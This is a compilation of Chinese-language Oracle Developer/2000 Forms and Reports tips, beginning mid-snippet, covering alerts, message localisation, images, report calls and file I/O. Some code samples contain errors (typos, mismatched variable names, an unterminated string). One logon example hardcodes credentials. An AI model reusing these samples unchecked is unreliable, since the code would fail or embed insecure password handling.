SET_ALERT_BUTTON_PROPERTY('ALERT',ALERT_BUTTON2,LABEL,'否(N)');
SET_ALERT_PROPERTY('ALERT',ALERT_MESSAGE_TEXT,'是否删除？);
SET_ALERT_PROPERTY('ALERT',TITLE,'询问');
I:=SHOW_ALERT('ALERT');

IF I=ALERT_BUTTON1 THEN
    DELETE_RECORD;
ELSE
    GO_BLOCK(块名);
END IF;
END;


Oracle技术网—FORM中，如何通过 ODBC 访问 Acress 数据？

位置：首页→Developer/2000—FORM技巧

阿木伯 著
FORM中，如何通过 ODBC 访问 Acress 数据？

  • 软件环境：
      1、服务器端：Windows NT4.0+ORACLE 8.0.4，ORACLE安装路径为：C:\ORANT
      2、客户端：Windows 98、Developer/2000客户端安装（版本2.1）
  • 实现方法：
      1. 在控制面板中选取 ODBC 控制源
      2. 系统 DSN
      3. 添加(D)...
      4. 选定您需要的驱动程序来安装数据源(S)：Microsoft Acress Driver (*.mdb)
      5. 完成(F)
      6. Date Source Name：aaa（aaa就是数据源名称，也就是在应用程序中所要使用的）
      7. 选择一个mdb数据库文件（select）
      8. 高级属性：设置用户名、口令
      9. OK
      10. 打开一个FORM
      11. 文件(F)—>连接(E)
      12. 用户名/口令@odbc:aaa
      13. 连接(O)


Oracle技术网—FORM中,如何修改系统提示信息(默认英文)为中文

位置：首页→Developer/2000→FORM技巧→

阿木伯 著
FORM中,如何修改系统提示信息(默认英文)为中文？

  • 软件环境：
      1、服务器端：Windows NT4.0+ORACLE 8.0.4
                   ORACLE安装路径为：C:\ORANT
      2、客户端：Windows 98、Developer/2000客户端安装（版本2.1）
  • 实现方法：
      1、调入Form Builder，打开一个新的FORM
      2、在表格级新建一个ON_ERROR触发器
      3、在ON_ERROR里输入以下代码：
      begin
      if
              error_code=40100 then message('已在第一 条记录！');
        elsif error_code=40102 then message('您已在最后一条记录，请先输入处理此记录，然后再输入下一条记录！');
        elsif error_code=40200 then message('此项仅用于查询参考，您无法更改此项！');
        elsif error_code=40202 then message('此项必须输入！ 产生错误原因：您未输入值，或您删去了原有值！');
        elsif error_code=40203 then message('值必须输入完全！ 产生错误原因：该项有定长要求！');
        elsif error_code=40207 then message('您输入的值不在有效范围之内，请输入有效范围之内的值！');
        elsif error_code=40401 then message('您没有修改或输入任何新的记录，无须保存！');
        elsif error_code=40508 then message('编码不能相同,不能有相同编码的记录，编码必须唯一！');
        elsif error_code=40509 then message('严重操作错误！，您可能输入了一个空的记录，无法保存记录！');
        elsif error_code=41802 then message('您只能在输入新的记录时使用[复制记录]键，来复制上一条记录！');
        else message(error_type||'_'||to_char(error_code)||':'||error_text);
      end if;
      raise form_trigger_failure;
      end;


Oracle技术网—FORM中，设置应用特性(光标类型)

位置：首页→Developer/2000→FORM技巧→

阿木伯 著
FORM中，设置应用特性(光标类型)

  • 软件环境：
      1、服务器端：Windows NT4.0+ORACLE 8.0.4
                   ORACLE安装路径为：C:\ORANT
      2、客户端：Windows 98、Developer/2000客户端安装（版本2.1）
  • 实现方法：
      1. 在Form级触发器中添加触发WHEN-NEW-FORM-INSTANCE
         SET_APPLICATION_PROPERTY(CURSOR_STYLE,'CROSSHAIR'|'BUSY'|'HELP'|'DEFAULT'|'INSERTION');


Oracle技术网—FORM中，怎样创建动态下拉列表List

位置：首页→Developer/2000→FORM技巧→

阿木伯 著
FORM中，怎样创建动态下拉列表List？

  • 软件环境：
      1、服务器端：Windows NT4.0+ORACLE 8.0.4
                   ORACLE安装路径为：C:\ORANT
      2、客户端：Windows 98、Developer/2000客户端安装（版本2.1）
  • 实现方法：
    1、打开Form Builder
2、文件(F)→新建(N)→表格(F)
3、新建一个非数据块，取名为tool
4、鼠标右键→布局编辑器(E)
5、建一个列表项，名为xl（属于tool块）
6、新建一过程，内写如下的代码

PROCEDURE create_xl IS　　　　　　　　　　　　　　　　　　　　--动态显示学历过程
        CURSOR A IS SELECT DISTINCT(xl) FROM t_xl;　　　　　　--建立a游标，从学历档案表取原始数据（有可能动态变化）
        CNT    NUMBER;　　　　　　　　　　　　　　　　　　　　--记录总数变量，用于生成列表的总项数
        i      NUMBER;　　　　　　　　　　　　　　　　　　　　--循环变量
        TNAME  t_xl.name%TYPE;　　　　　　　　　　　　　　　　--TNAME变量和t_xl表中name项具有相同的结构
BEGIN
        CLEAR_LIST('tool.xl');　　　　　　　　　　　　　　　　--清空列表tool.xl（tool块上的xl项）
        SELECT COUNT(DISTINCT(name)) INTO CNT FROM t_xl;　　　--计算列表总数
        OPEN A;　　　　　　　　　　　　　　　　　　　　　　　 --打开游标
        FOR i IN 1..CNT LOOP　　　　　　　　　　　　　　　　　--开始循环
                FETCH A INTO TNAME;　　　　　　　　　　　　　 --取数
                EXIT WHEN A%NOTFOUND;　　　　　　　　　　　　 --退出条件
                ADD_LIST_ELEMENT('tool.xl',i,TNAME,TNAME);　　--把查询出的值加入列表中（序号，实际值，显示值）
        END LOOP;　　　　　　　　　　　　　　　　　　　　　　 --结束循环
        CLOSE A;　　　　　　　　　　　　　　　　　　　　　　　--关闭游标
END;

7、在Form级触发器中添加触发WHEN-NEW-FORM-INSTANCE
   在此触发器中写如下代码：create_xl;
   使FORM程序一启动，就调用此过程，达到动态生成下拉列表List的效果。

附：
--学历档案表
create table t_xl(name varchar2(6));
insert into  t_xl values('小学');
insert into  t_xl values('初中');
insert into  t_xl values('职高');
insert into  t_xl values('技校');
insert into  t_xl values('高中');
insert into  t_xl values('中专');
insert into  t_xl values('大专');
insert into  t_xl values('本科');
insert into  t_xl values('研究生');
commit;


Oracle技术网—FORM中如何存取声音

位置：首页→Developer/2000→FORM技巧→

阿木伯 著
FORM中如何存取声音？

  • 软件环境：
      1、服务器端：Windows NT4.0+ORACLE 8.0.4，ORACLE安装路径为：C:\ORANT
      2、客户端：Windows 98、Developer/2000客户端安装（版本2.1）
  • 实现方法：
        1、硬盘上c:\下有一个声音文件tmp.wav

    2、打开FORM
    新建一个块：t_sound

    t_sound块上新建一个声音项，名为sound1

    新建一按钮1，输入以下程序
    BEGIN
        GO_ITEM('sound1');
        READ_SOUND_FILE('c:\tmp.wav','wave','sound1');
        PLAY_SOUND('sound1');
    END;

    运行此程序，点击此按钮观察效果。


Oracle技术网—FORM中如何存取图象？如何把图象从一个表中导到另一个表中？

位置：首页→Developer/2000→FORM技巧→

阿木伯 著
FORM中如何存取图象？如何把图象从一个表中导到另一个表中？

  • 软件环境：
      1、服务器端：Windows NT4.0+ORACLE 8.0.4，ORACLE安装路径为：C:\ORANT
      2、客户端：Windows 98、Developer/2000客户端安装（版本2.1）
  • 实现方法：
        1、SQL*Plus中
    SQL> create table t_photo1(photo1 long raw);
    SQL> create table t_photo2(photo2 long raw);

    2、硬盘上c:\下有一个图象文件tmp.bmp

    3、打开FORM
    新建两个块：t_photo1、t_photo2
    t_photo1块是数据库块，连接的表是数据库中的一个表t_photo1
    t_photo2块也是数据库块，连接的表是数据库中的另一个表t_photo2（备份表）

    t_photo1块上新建一个图象项，名为photo1，对应的是即表t_photo1中的photo1列
    t_photo2块上也新建一个图象项，名为photo2，对应的是即表t_photo2中的photo2列

    新建一按钮1，输入以下程序，这个按钮实现读入图象到表里，即录入图象到表里
    BEGIN
        GO_BLOCK('t_photo1');--到块1
        READ_IMAGE_FILE('c:\tmp.bmp','bmp','t_photo1.photo1');
        --读入外部图象文件tmp.bmp（图象类型为BMP）到t_photo1块的photo1项，也就是到了t_photo1表里
        COMMIT;--存盘
    END;

    新建一按钮2，输入以下程序，这个按钮实现图象的倒表（t_photo1到t_photo2）
    BEGIN
        GO_BLOCK('t_photo1');--到块1
        execute_query;
        --查询出表中的图象，这时，表中的图象到了FORM中的图象项上
        WRITE_IMAGE_FILE('c:\tmp.bmp','bmp','t_photo1.photo1');
        --把图象项中图象写入外部图象文件tmp.bmp
        GO_BLOCK('t_photo2');--到块2
        READ_IMAGE_FILE('c:\tmp.bmp','bmp','t_photo2.photo2');
        --把外部图象文件tmp.bmp读入到t_photo2块的photo2项，也就是到了t_photo2表里
        COMMIT;--存盘
    END;

    运行此程序，点击此按钮观察效果。

    注释：t_photo1.photo1是正式图片表中的图象项（数据库项）（t_photo1块photo项1）
          t_photo2.photo2是备份图片表中的图象项（数据库项）（t_photo2块photo项2）


Oracle技术网—MIS中的图像应用技术

MIS中的图像应用技术

叶葆春

    摘要: 本文介绍了ORACLE DEVELOPER/2000开发工具在MIS图像处理上的应用 技术，并详细提供了具体实现方法和过程。

    关键词: MIS ORACLE工具 图像 JPEG

    一、问题的提出
    计算机技术的不断更新和发展，促使MIS应用从基于单一的文本信息发展为支持多媒体信息，其中图像应用是最常用的一种方式。目前在人事档案管理、档案管理、病案管理等应用中已广泛应用图像处理技术，然而在实际应用中由于图像信息量大，许多开发工具仅支持BMP、PCX等几种压缩比小的图像格式，导致在大型应用（几万条或几十万条记录）中处理困难，因此如何存贮和管理图像信息成为这类应用系统的关键，ORACLE公司提供的ORACLE数据库及DEVELOPER/2000开发工具有效地解决了上述问题。

    二、ORACLE图像处理技术特点
    ORACLE数据库系统是目前非常流行的大型分布式关系型数据库管理系统，针对多媒体信息提供了二进制长类型（LONG RAW）数据类型，它最大可存贮2GB信息，为大型图像应用系统提供了有效的存贮手段；ORACLE DEVELOPER/2000是ORACLE公司的基于GUI的第二代CLIENT/SERVER开发工具，具有强大的应用开发功能（尤其是它提供的TIGGER机制可以称为目前各种开发工具中事件驱动机制的先驱）和较强的可移植性、可伸缩性，只需少量编程即可快速地开发出复杂的多媒体应用系统，在图像处理方面支持多种图像格式，包括BMP、PCX、GIF、JPEG、PCD、RAS、TIFF 等，其中JPEG提供了较高的压缩比，以一幅1寸彩色照片为例，按24位真彩方式扫描，以BMP格式存放需74KB，以TIF和GIF格式需36KB，而以ORACLE提供的JPEG格式仅需2.5KB，通过这些技术足以实现大型图像应用系统。

    三、ORACLE图像处理的实现方法
    在图像处理方面，DEVELOPER/2000中的FORMS应用可采用两类方式：

    1. 图文图像方式

    这种方式与许多开发工具一样，在画布（CONVAS）编辑器中，将图像直接从文件系统或数据库中导入，主要用来显示企业标志、制作屏幕背景等，在生成应用时图像同时被存入应用程序文件中。

    具体步骤如下：

    在画布编辑器屏幕，从菜单栏点按编辑→导入→图像，出现对话框后，指定待处理的图像，确定后即将图像调入当前的画布中，然后可对其进行任意拖放，也可在其上添加数据项或按钮等。

    2. 图像项方式

    这种方式与ORACLE其它数据类型的数据项（如文本项）使用方式一样，它以图像项形式表达，应用程序中仅保存其定义，实际运行时动态显示，这种方式是图像应用系统中最需要的。下面以一图文人事档案管理为例，详细描述动态图像（即员工照片）的二种不同的处理方法。

    ⑴基于ORACLE RDBMS的处理方法

    首先在建立员工档案基表时，除包含姓名、性别、工作证号、单位、部门等文本信息字段外，还需建立照片字段，此字段必须为LONG RAW类型；然后定义图像项，一是在建立FORM的新块时选中照片字段直接定义，另一方法是在已有块中增加新项或在画布编辑中增加图像项，此时应注意该项必须与数据库中的字段名对应；最后在属性窗口中设置图像项的大小风格（Size Style），对于固定大小的照片可设置为Crop即按实际大小显示方式，而对于不知图像大小的可设置为Adjust即按比例缩放图像以便能够完整地显示图像。

    至此设计完毕，运行时系统自动将定义的图像项与数据库中的照片字段相对应，查询记录时就将相应记录中的照片信息调入显示，若进行修改或替换操作，系统提交时自动修改数据库中的相应图像信息。

    基于ORACLE数据库的方法开发简单，几乎不需额外的编程，特别是对图像的修改、替换处理比其它开发工具更加方便，比较适用于大型应用系统；但这种方法只能基于ORACLE数据库才能实现，对异种数据库不适用，同时应注意在数据库选择词句SELECT中不能使用“*”，即不能使用SELECT * FROM ...这样的语句。

    ⑵基于文件系统操作

    这种方式员工档案库中不含照片字段，但需建立文件目录结构，用于存放图像文件，如建立类型下面的目录结构：

    在FORMS的画布编辑器中或新项的属性窗口定义图像项，需注意的是此项不能与数据库联系，然后建立触发器（Trigger），以查询功能为例，需在FORMS中定义块级Trigger，类型定义为“Post_Query“ ，其PL/SQL内容为：

    declare

    zp varchar2(100); -- 定义局部变量，存放照片文件名

    Begin

    --block.dw为单位代码，block.bm为部门代码，block.gzzh为工作证号

    --拼接员工的照片文件名，注意block前的':'不能少

    zp:='C:\IMG'||:block.dw||'\'||:block.bm||'\'||:block.gzzh||'.JPG';

    -- 将照片文件调入并以JPEG格式在图像项IMG中显示

    read_image_file(zp,'JFIF','block.img');

    End;

    这样，系统运行时即可在显示文本信息的同时显示员工对应的照片。

    这种方式可基于多种数据库系统，缺点是需要编写较多的代码，而且文件结构复杂，不便管理，易造成磁盘碎块影响系统性能等，因此比较适用于单机、小型应用系统。

    三、结束语
    通过上面的介绍，可使我们的应用系统的内涵更加丰富，同时也为选择开发工具时提供技术参考，现在流行的各种开发工具如PB、VB、DELPHI、DEVELOPER/2000等就其整体功能很难说谁优谁劣，一般均能满足应用开发的需要，但针对具体问题时可能会有差别，如目前直接支持高压缩比图像应用的工具就不多，这就需要在选择工具时根据具体应用来仔细考虑。当然，随着时间的推移、软件版本的不断更新，支持多媒体的工具会越来越完善，使应用系统更加完美。


Oracle技术网—MIS中的图像应用技术

构造全中文界面的Developer/2000应用
摘自：中国计算机报社

李刚

    用Oracle的Developer/2000构造的中文界面的应用程序，存在着许多西文的信息。具体表现在：

    1. 在运行时多文档主窗口的缺省标题是：Forms 4.5 (Runform)，但在设计时找不到可对该标题进行设置的可视属性。

    2. 当系统成功地完成某一项操作时，将在状态栏上提示英文信息。例如，当查询时不存在满足条件的记录，系统将提示：FRM-40301:Query caused no records to be retrieved .Re-enter。

    3. 当系统执行过程中检测到某项操作错误时，也将在状态栏上提示英文信息。例如，当已到第一条记录时，若用户仍企图继续查看上一条记录，系统将提示：FRM-40110:At first record。

    4. 当用户修改数据后，并未保存数据就企图进行其他操作，如进行查询、记录翻页或退出程序，系统将自动弹出一个英文的Alert窗口，出现以下提示：“DO YOU HAVE WANT TO SAVE THE CHANGES YOU HAVE MADE?”；并要求用户在YES、 NO、 CANCEL三个按钮间进行选择。

    5. 运行时菜单项总有一个英文的WINDOW项，即使将FORM的MENU MODULE属性置为空白也无济于事。

    以上这些情况的出现，破坏了中文应用程序的整体效果，并使用户操作时感到困惑。针对这些问题，下面分别给出解决的方法。

    一、 设置中文的主窗口标题
    在FORM级的TRIGGERS：WHEN-NEW-FORM-INSTANCE中加入以下代码：

    SET_WINDOW_PROPERTY(FORMS_MDI_WINDOW,TITLE,

    'CAAC计算中心业务信息系统( V1.0 )');

    该命令将多文档主窗口的标题设置为“CAAC计算中心业务信息系统( V1.0 )”。运行时该标题将替代缺省的标题“Forms4.5”。

    附带提一下，用SET_WINDOW_PROPERTY命令还可完成对多文档的主窗口和子窗口许多属性的设置。例如，假如多文档子窗口为window0，下面的命令将使文档主窗口和子窗口在运行时自动最大化：

    SET_WINDOW_PROPERTY(FORMS MDI WINDOW, WINDOW STATE, MAXIMIZE);

    SET_WINDOW_PROPERTY('window0', WINDOW STATE, MAXIMIZE);

    二、 汉化西文的提示信息
    Oracle的提示信息分为两类：一类是操作成功的提示信息，如前面提到的第二种情况；一类是操作错误的提示信息，如前面提到的第三种情况。前者将以消息（Message)的形式，自动触发FORM级的TRIGGER:ON-MESSAGE;后者将触发FORM级的TRIGGER：ON-ERROR。因此，我们可以在这两个触发器中，捕捉并汉化英文的提示信息。

    汉化英文信息的基本思想是建立一个汉化信息表，在表中存储系统的信息编号和对应的中文汉化信息。当利用触发器捕捉到系统信息时，查询该表，取出中文信息，显示在状态栏上。下面是汉化以消息的形式出现的系统信息的步骤：

    1. 在SQL-PLUS中创建汉化信息表：

    Create table chi_errmsg(

    msgno NOT NULL VARCHAR2(6),

    chinesemsg VARCHAR2(60),

    PRIMARY KEY ( msgno)

    );

    表chi_errmsg中，msgno字段用以记录系统的信息编号，我们约定该字段的记录方法为：前缀（1位）+信息编号（5位）。其中前缀‘M’表示该信息为系统消息；‘E’表示该信息为系统错误消息。chinesemsg是编号相对应的中文提示信息。

    2. 在FORM级的触发器ON-MESSAGE中写入如下代码：

    DECLARE

    Mesgno varchar(6);

    Errormesg varchar2(60);

    Msg_frm varchar2(200);

    BEGIN

    /*取出西文的提示信息*/

    Msg_frm:=MESSAGE_TYPE||'-'||TO_CHAR(MESSAGE_CODE)||':'||MESSAGE_TEXT;

    /*取出系统信息编号*/

    Mesgno := 'M'||TO_CHAR(MESSAGE_CODE);

    /*根据编号从汉化信息表中取出对应的中文提示信息*/

    SELECT chinesemsg INTO

    Errormesg

    FROM chi_errmsg

    WHERE msgno = Mesgno;

    /*显示中文信息*/

    MESSAGE(MESSAGE_TYPE||'-'||TO_CHAR(MESSAGE_CODE)||':'||Errormesg,NO_ACKNOWLEDGE);

    EXCEPTION

    WHEN others THEN

    /*若该编号没有对应的记录，将显示原有的西文提示信息*/

    MESSAGE(Err_frm,NO_ACKNOWLEDGE);

    END;

    在上面的代码中，MESSAGE_TYPE、MESSAGE_CODE、MESSAGE_TEXT三个系统变量记载了消息的类型、编号及内容。以本文开始提到的第二种情况为例，当出现“FRM-40301:Query caused no records to be retrieved .Re-enter”消息时，

    MESSAGE_TYPE="FRM";

    MESSAGE_CODE="40301";

    MESSAGE_TEXT="Query caused no records to be retrieved .Re-enter"。

    由于每一个消息都有一个唯一的编号，因此可依据该编号来查找对应的中文信息。

    3.充实汉化信息表的内容

    通过上面两步，我们已完成了对系统消息的捕捉和汉化工作。接下来的工作就是在应用开发的过程中，针对应用中可能出现的西文信息，捕捉一个，汉化一个。例如，我们需要对“FRM-40301:Query caused no records to be retrieved .Re-enter”汉化，只需要在chi_errmsg表中加入一条记录即可：

    insert into chi_errmsg values('M40301','本次查询没有取出符合条件的记录！请再试');

    对系统错误信息的汉化与消息汉化的思想相同，下面给出在ON-ERROR触发器中的代码供读者参考：

    DECLARE

    Mesgno varchar(6);

    Errormesg varchar2(60);

    Err_frm varchar2(200);

    BEGIN

    Errfrm :=ERROR_TYPE||'-'||TO_CHAR(ERROR_CODE)||':'||ERROR TEXT;

    Mesgno := 'E'||TO_CHAR(ERROR_CODE);

    SELECT chinesemsg INTO

    Errormesg

    FROM chi_errmsg

    WHERE msgno = Mesgno;

    MESSAGE(ERROR_TYPE||'-'||TO_CHAR(ERROR_CODE)||':'||Errormesg, NO ACKNOWLEDGE);

    EXCEPTION

    WHEN others THEN

    MESSAGE(Err_frm,NO_ACKNOWLEDGE);

    END;

    针对"FRM-40110:At first record"错误，在chi_errmsg表中插入：

    insert into chi_errmsg values('E40100','已到第一条记录！');

    最后提醒读者，一个系统提示信息类型究竟是“ERROR”还是“MESSAGE”，可查阅Developer/2000的参考手册。

    三 、替换西文Alert窗口
    设计的基本思想是建立一个中文的Alert，并在可能出现西文Alert的地方加上代码触发中文的Alert警告，提醒用户进行存储。

    例如，针对本文开始提到的第四种情况，为使系统退出时不再出现西文Alert窗口，可在FORM级的TRIGGER：KEY-EXIT中加入如下代码：

    DECLARE

    return_value number;

    alert_id Alert;

    BEGIN

    IF :SYSTEM.FORM_STATUS= 'CHANGED' THEN

    alert_id := Find_Alert('stop_alert');

    SET_ALERT_PROPERTY(alert_id,alert_message_text,'数据已经改变！确认是否存储？');

    return_value := SHOW_ALERT( alert_id );

    IF return_value = ALERT_BUTTON1 THEN

    COMMIT_FORM;

    ELSE

    CLEAR_FORM(NO_COMMIT);

    END IF;

    ELSE

    CLEAR_FORM(NO_COMMIT);

    END IF;

    EXIT_FORM;

    END;

    这段代码的基本思想是当记录值发生改变时，弹出中文的Alert，提醒用户存储。'stop_alert'是我们自制的中文Alert,它有两个按钮：确认、取消。当返回第一个按钮（即确认按钮）时，系统提交对数据的修改，否则取消修改。这样，当执行EXIT_FORM命令时，将不会出现原有的西文Alert。

    四 、消除菜单中的Window项
    用户程序有两种情况，一种是不需要菜单；一种是具有中文的菜单。这两种情况下消除Window项的方法为：

    （一）用户程序不需要菜单

    1. FORM中的MENU MODULE属性：为空。

    2. Window中的MODAL属性：TRUE。

    （二）用户程序有中文菜单

    1. 在用户菜单中建立一个Item,命名为WINDOW。

    2. 设置该Item属性如下:

    Menu Item Type:Magic

    Command Type:Null

    Magic Item:Window

    Lable:为空


Oracle技术网—从FORM中调用REPORT时，如何使打印结果直接输出到打印机上

位置：首页→Developer/2000→FORM技巧→

阿木伯 著
从FORM中调用REPORT时，如何使打印结果直接输出到打印机上？

  • 软件环境：
      1、服务器端：Windows NT4.0+ORACLE 8.0.4，ORACLE安装路径为：C:\ORANT
      2、客户端：Windows 98、Developer/2000客户端安装（版本2.1）
  • 实现方法：
        在parameter list中加入parameter_form=No
    Add_parameter(list_id,'PSRAMETER_FORM',TEXT_PARAMETER,'NO');


Oracle技术网—如何从FORM中调用REPORT程序

位置：首页→Developer/2000→FORM技巧

【点击：】 阿木伯 著
如何从FORM中调用REPORT程序？

  • 在菜单中调用REPORT程序（不传参数，传参数可用下面的程序段）
Run_Product(REPORTS, '报表程序名.REP', SYNCHRONOUS, RUNTIME, FILESYSTEM, '', NULL);

在FORM中调用REPORT程序（可传参数）
DECLARE
    pl_id ParamList;
BEGIN
    pl_id := Get_Parameter_List('参数列表名');
    IF NOT Id_Null(pl_id) THEN
        Destroy_Parameter_List( pl_id );
    END IF;
    pl_id := Create_Parameter_List('参数列表名');
    Add_Parameter(pl_id,'REPORT参数名1',DATA_PARAMETER,':FORM项名1');
    Add_Parameter(pl_id,'REPORT参数名2',TEXT_PARAMETER, :FORM项名2);
    … …
    Run_Product(REPORTS, '报表程序名.REP', SYNCHRONOUS, RUNTIME, FILESYSTEM, pl_id,
    NULL);
END;


Oracle技术网—如何改变FORM(FMX模块)运行时的title？

位置：首页→Developer/2000→FORM技巧→

阿木伯 著
如何改变FORM(FMX模块)运行时的title？

  • 软件环境：
      1、服务器端：Windows NT4.0+ORACLE 8.0.4
                   ORACLE安装路径为：C:\ORANT
      2、客户端：Windows 98、Developer/2000客户端安装（版本2.1）
  • 实现方法：
      1、Developer/2000中FMX默认title为：Developer/2000 Forms Runtime for Windows 95 / NT

      2. 在Form级触发器中添加触发WHEN-NEW-FORM-INSTANCE

      3. 在此触发器中写如下代码：
         SET_WINDOW_PROPERTY(FORMS_MDI_WINDOW,TITLE,'您的提示');


Oracle技术网—如何在FORM运行中，使定制菜单中的“窗口(W)”菜单项不显示

位置：首页→Developer/2000→FORM技巧→

阿木伯 著
如何在FORM运行中，使定制菜单中的“窗口(W)”菜单项不显示？

  • 软件环境：
      1、服务器端：Windows NT4.0+ORACLE 8.0.4
                   ORACLE安装路径为：C:\ORANT
      2、客户端：Windows 98、Developer/2000客户端安装（版本2.1）
  • 实现方法：
      1. 对象导航器→窗口→WINDOW0（窗口的名字）→属性→模式→修改其属性
         设置窗口属性：模式=是


Oracle技术网—如何在启动FORM程序时直接登录到Oracle数据库上？

位置：首页→Developer/2000→FORM技巧

如何在启动FORM程序时直接登录到Oracle数据库上？

  • 软件环境：
      1、服务器端：Windows NT4.0+ORACLE 8.0.4，ORACLE安装路径为：C:\ORANT
      2、客户端：Windows 98、Developer/2000客户端安装（版本2.1）
  • Form程序：
      1、调入Form Builder，打开一个新的FORM
      2、在表格级新建一个ON_LOGON触发器
      3、在ON_LOGON里输入以下代码：
      DECLARE
          PASS1 VARCHAR2(80); --PASS1为密码参数
      BEGIN
          LOGON('USER1','USER1'||'@'||'TNS1');
          SELECT PASS INTO PASS1 FROM T_PASSWORD WHERE USERNAME='USER2';
          LOGOUT;
          LOGON('USER2',PASS1||'@'||'TNS1');
      END;


Oracle技术网—运行FORM时，如何使按钮变灰（即无效）

位置：首页→Developer/2000→FORM技巧→

阿木伯 著
运行FORM时，如何使按钮变灰（即无效）？

  • 软件环境：
      1、服务器端：Windows NT4.0+ORACLE 8.0.4，ORACLE安装路径为：C:\ORANT
      2、客户端：Windows 98、Developer/2000客户端安装（版本2.1）
  • 实现方法：
        set_item_property('按钮名称',ENABLED,PROPERTY_FALSE);


Oracle技术网—运行FORM时，如何使窗口（runtime窗口、画布窗口）自动变成最大化、最小化？

位置：首页→Developer/2000→FORM技巧→

阿木伯 著
运行FORM时，如何使窗口（runtime窗口、画布窗口）自动变成最大化、最小化？

  • 软件环境：
      1、服务器端：Windows NT4.0+ORACLE 8.0.4
                   ORACLE安装路径为：C:\ORANT
      2、客户端：Windows 98、Developer/2000客户端安装（版本2.1）
  • 实现方法：
      1. 在Form级触发器中添加触发WHEN-NEW-FORM-INSTANCE

      2. 在此触发器中写如下代码：
         SET_WINDOW_PROPERTY(FORMS_MDI_WINDOW,WINDOW_STATE,MAXIMIZE);--最大化
         SET_WINDOW_PROPERTY(FORMS_MDI_WINDOW,WINDOW_STATE,MINIMIZE);--最小化


Oracle技术网—在Developer/2000中如何读写文本型操作系统文件

位置：首页→Developer/2000→FORM技巧→

阿木伯 著
在Developer/2000中如何读写文本型操作系统文件？

  • 软件环境：
      1、服务器端：Windows NT4.0+ORACLE 8.0.4，ORACLE安装路径为：C:\ORANT
      2、客户端：Windows 98、Developer/2000客户端安装（版本2.1）
  • 实现方法：
          PL/SQL 3.3以上的版本中，UTL_FILE包允许用户通过PL/SQL读写操作系统文件。如下：
    declare
        file_handle utl_file.file_type;
    begin
        file_handle:=utl_file.fopen('C:\','TEST.TXT','A');	--TEST.TXT是文件名
        utl_file.put_line(file_handle,'写入的信息');
        utl_file.fclose(file_handle);
    END;

    Developer/2000中，可以用Text_IO读写操作系统文件。如下：

    DECALRE
        in_file		Text_IO.File_Type;
        out_file	Text_IO.File_Type;
    BEGIN
        in_file:=Text_IO.Fopen('文件名', 'R');
        Text_IO.Get_Line(in_file,linebuf);
        Text_IO.Fclose(in_file);

        out_file:=Text_IO.Fopen('文件名', 'W');
        Text_IO.Put_Line(out_file,'写入信息');
        Text_IO.Fclose(out_file);
    END;

--常用TEXT_IO
Declare
  out_file  text_io.file_type;		--定义
Begin
  out_file:=text_io.fopen('prn','w');	--打开文件prn
  text_io.new_line(out_file,' ');	--新建一行
  text_io.put_line(out_file,' ')	--写入一行
  text_io.fclose(out_file);		--关闭文件
End;

---文本输入输出
   TEXT_IO
   TEXT_IO.PACKAGE
   TEXT_IO.FCLOSE
   TEXT_IO.FILE_TYPE
   TEXT_IO.FOPEN
   TEXT_IO.IS_OPEN
   TEXT_IO.GET_LINE
   TEXT_IO.NEW_LINE
   TEXT_IO.PUT
   TEXT_IO.PUTF
   TEXT_IO.PUT_LINE

----------------------------

Declare
     Out_file     Text_io.file_type;
     L            Varchar2(100);
     L1           Varchar2(100);
     L2           Varchar2(100);
Begin
    Out_file :=text_io.fopen('c:\ll\login.txt','r');
    If text_io.is_open(Out_file) then
    text_io.get_line(Out_file,L);
    text_io.get_line(Out_file,L1);
    text_io.get_line(Out_file,L2);
    Else
        Null;
    End if;
End;


Oracle技术网—在Oracle中实现报表的定长输出

在Oracle中实现报表的定长输出

摘自：中国计算机报

郭华玲

    Oracle＊Reports是Oracle的数据统计及图形化报表工具，它提供了六种风格的报表格式，而我们通常使用的只有其中的两种，即Tabular和Matrix，无论用哪种风格生成的报表，打印出的表格数都是动态变化的。其中Tabular风格的报表，列数固定，而行数不定；Matrix风格的报表，行数和列数均不定。那么在Oracle＊Reports中如何实现报表的定长与定宽输出呢？笔者在实际开发过程中对上述两种风格的报表各总结出一种行之有效的方法，供大家参考。

    一、对于Tabular风格的报表，可用报表触发子After Parameter Form和After Report实现定长输出。其方法是：根据实际情况确定每页打印的行数，当最后一页的记录数少于每页打印的行数时，则用空记录补齐。在触发子After Parameter Form插入空记录，在触发子After Report中再将空记录删除，下面举例说明。

    假设有一数据基表WZDM：存放物资代码信息，其数据结构为：

字段名 | 含义 | 长度 | 类型
wzdm | 物资代码 | 9 | c
wzmc | 物资名称 | 20 | c
xhgg | 型号规格 | 20 | c
jldw | 计量单位 | 6 | c

    要求：按定长输出物资代码表，并且每页均输出x行(x可根据实际情况而定)。

    1.启动Oracle＊Reports，建立物资代码打印报表(略)，然后在报表触发子After Parameter Form中加入以下代码：

    Declare

    v—jls number(2);

    i number(2):=1;

    Begin

    Select Count(＊) Into V—jls From Wzdm;

    If Mod(V—jls,x)〈〉0 Then

    Loop

    Exit When i〉=(x－mod(v—jls,x))＋1;

    Insert Into Wzdm(Wzdm,Wzmc,Xhgg,Jldw)

    Values(′′,′′,′′,′′);

    i:=i＋1;

    End Loop;

    Commit;

    End If;

    End;

    在报表触发子After Report中分别加入以下代码：

    Begin

    Delete From Wzdm Where Wzdm Is Null;

    Commit;

    End;

    2.运行报表后即可输出定长的物资代码表。

    说明：对于其它Tabular风格的报表，在编写上述两个触发子时只需将基表名与列名根据实际情况修改一下，并确定x的值即可。

    二、对于Matrix风格的报表，可利用视图实现定长与定宽输出，其思路是：当行记录数和列记录少于实际报表的行数和列数时，均以空记录补齐。下面举例说明。

    假设有一物资资金消耗去向统计月报，该表横向显示本期消耗去向，纵向显示物资类别，由于每月物资消耗去向和消耗物资均不定，所以此类报表即为一矩阵报表。该报表的数据存放在基表T—ZJXHQX中，其数据结构如下：

字段名 | 含义 | 长度 | 类型
lbmc | 类别名称 | 20 | c
dwmc | 单位名称 | 20 | c
je | 金额 | 14，2 | n

    要求：按定长定宽输出物资资金消耗去向统计月报，并且每页均输出x行y列(行数和列数可根据实际情况而定)。

    1.首先建一基表T—kjl，用来存放空记录，其数据结构为：

字段名 | 含义 | 长度 | 类型
no | 序号 | 2 | n

    建完该数据表后，再往其中插入记录，记录数可根据实际情况而定，一般为一页所能打印的最大行数，这里假设为z条，即No的值为1，2，3…z。

    2.建视图，其过程如下：

    Create View V—TJBB As

    Select Dwmc,Lbmc,Je From T—zjxhqx

    Union

    Select Dwmc,Null,To—Number(Null) From T—zjxhqx,T—kjl

    Where No－(z－x)〉(Select Mod(Count(Distinct Lbmc)－1,x)＋1 From T—zjxhqx)

